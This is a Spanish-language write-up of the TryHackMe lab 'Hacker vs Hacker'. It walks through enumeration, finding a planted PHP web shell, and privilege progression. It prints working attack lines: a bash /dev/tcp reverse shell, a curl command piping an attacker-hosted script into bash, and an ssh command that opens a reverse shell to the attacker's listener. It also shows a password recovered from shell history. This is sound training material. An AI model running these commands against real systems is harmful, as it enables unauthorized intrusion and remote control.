hacker vs hacker logo

Hacker vs Hacker – TryHackMe [WriteUp]

Si es tu primera máquina en Try Hack Me y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma. Si decides pasarte a la opción premium de THM aquí te dejo un descuento de 5$.

Cuando inicies siempre una máquina de Try Hack Me, te recomiendo que securices primero la conexión siguiendo estos pasos.

Una vez has hecho eso, lo primero que tendrás que hacer será establecer la conexión con la máquina víctima de Try Hack Me (MV) de esta forma:

Irás dentro de la carpeta donde tengas descargada la VPN de la plataforma, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».

Para asegurarte que está conectado a la MV ejecuta este comando «nmap -sn IP».

Ya establecida la conexión con la MV, empezamos el análisis:

ENUMERACIÓN -> ESCANEO DE PUERTOS

En este caso se trata de una máquina de dificultad Fácil llamada Hacker vs Hacker, según la plataforma aunque en mi experiencia, diría que está entre media y fácil… Está abierta por lo que es gratis y no de pago.

Creamos dentro de nuestra máquina Kali una carpeta que se llame igual que el nombre de la máquina, de esta forma será más fácil trabajar.

Hecho esto, empezamos con la fase de numeración.

Lanzamos un NMAP con una serie de scripts básicos de numeración para encontrar puertos abiertos así como las versiones y servicios que corren para esos puertos:

nmap -p- -sCV --open -T5 --min-rate 5000 -vvv -n -Pn 10.10.245.226 -oN escaneo 

Los resultados del escaneo son:

Vemos los Puertos abiertos: 22 y 80.

Puerto 22 (Secure Shell SSH) corre bajo la versión OpenSSH 8.2p1 en principio no entraremos por aquí, la versión parece muy actualizada y segura.

Vamos a por el puerto 80 web.

Vamos al navegador y ponemos la dirección IP 10.10.245.226 http://10.10.245.226/

La web devuelve 200 con contenido…

Vemos un botón ContactUs pero referencia a una parte dentro de la página con un # http://10.10.245.226/#contact-us . No parece haber nada vulnerable.

Si vamos más abajo nos encontramos con un campo de subida de archivos. Por tanto, potencialmente vulnerable.

BÚSQUEDA DE DIRECTORIOS INTERNOS

Visto esto, vamos a explorar a nivel de directorios del host por si encontráramos algo más de información. Para ello vamos a utilizar la herramienta GOBUSTER ejecutando el comando:

gobuster dir -u http://10.10.245.226/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Nos devuelve un directorio interesante, probablemente donde se almacenen los Currículums.

Si intentamos acceder a ese directorio por el navegador, vemos que está deshabilitado:

No parece haber a priori nada relevante, por lo que continuamos haciendo la búsqueda en GOBUSTER en este caso por archivos a través de extensiones como php o pdf de esta forma:

gobuster dir -u http://10.10.245.226/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,pdf

Nos encontramos con la ruta y extensión upload.php, por lo que la probamos en el navegador:

Parece que vamos bien, de hecho parece que el hacker ya ha subido una shell…

Vamos al código fuente de la página:

Nos dice que sólo acepta ficheros .pdf

Probamos a crear y subir un archivo pdf primero para ver si lo acepta (y no), y también tratamos de modificar la extensión de ese fichero para intentar colarle un php (prueba.php.pdf) pero nada…

USAMOS FUZZING PARA ENCONTRAR LA SHELL

Lo siguiente que probamos es a tratar de encontrar mediante FUZZ dentro del directorio donde se suben los pdfs que es /cvs , algún archivo con extensión php ya que parece que hay una Shell subida.

Ejecutamos el siguiente comando:

wfuzz -c --sc=200 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.245.226/cvs/FUZZ.pdf.php

Y nos devuelve la siguiente información:

Encontró el shell con extensión php, vamos a probarlo…

Ahora vamos a probar si tenemos ejecución remota de comandos (RCE remote code execution) así:

http://10.10.245.226/cvs/shell.pdf.php?cmd=whoami

y efectivamente podemos acceder:

CREACIÓN DE REVERSHELL Y 1ª FLAG

Entonces ahora tenemos que hacer una REVERSE SHELL para tener acceso de administrador del sistema:

Para ello vamos a https://www.revshells.com/ y nos generamos la reverse Shell por el puerto 4444 a través del formato bash:

bash -i >& /dev/tcp/IP_ATACANTE/443 0>&1

Creamos un fichero con nano para añadir la reverse shell: “nano rev.sh”

Levantamos un servidor por python3 en http por el puerto 80 para subir el rev.sh:

Y nos ponemos en escucha por el puerto 4444 con netcat.

Ejecutamos en el navegador el siguiente curl y vamos al netcat para ver la respuesta:

10.10.245.226/cvs/shell.pdf.php?cmd=curl http://10.8.1.198/rev.sh | bash 

Una vez hemos accedido, al buscar dentro del directorio home, vemos un usuario lachlan, que te lleva a la primera flag que podrás completar dentro de la plataforma de THM:

Si hacemos ahora un “ls -la” sobre el usuario lachlan para ver ficheros y directorios ocultos, vemos el .bash_history

Lo abrimos, y vemos que hay una tarea en cron y varias contraseñas (dentro de passwd)

SSH CREDENTIALS Y ROOT FLAG

Tenemos varias contraseñas del usuario lachlan, parece que el hacker cambió las contraseñas a finalmente “thisistheway123”.
Si recordamos, de inicio en el escaneo de puertos, teníamos el puerto 22 secure shell “ssh” abierto, por lo que vamos a intentar acceder:

Sin embargo al intentar acceder, parece que loguea pero nos vuelve a sacar con el aviso «nope», es posible que la tarea de cron tenga un temporizado que nos impida mantener la conexión.

De hecho si nos fijamos bien, en el nombre de la tarea de cron pone “persistence”. Es como que el otro hacker creó esa persistencia de limitación, se puede ver haciendo un cat del fichero…

Intentamos iniciar sesión como Lachlan a través de SSH de nuevo pero recuerda que ‘nope’ nos sacará y que tenemos que pasar la shell desde SSH de esta forma, creando un nuevo servidor con netcat por el puerto 9001:

ssh lachlan@10.10.245.226 "bash -c 'exec bash -i &>/dev/tcp/10.8.1.198/9001 <&1'"
lachlan@10.10.2.238's password: 
nc -nvlp 9001

Así, el netcat establecerá la conexión como lachlan y podremos seguir avanzando a través del directorio /home/lachlan/bin hasta alcanzar la ROOT FLAG.

FUENTES CONSULTADAS


Otros posts relacionados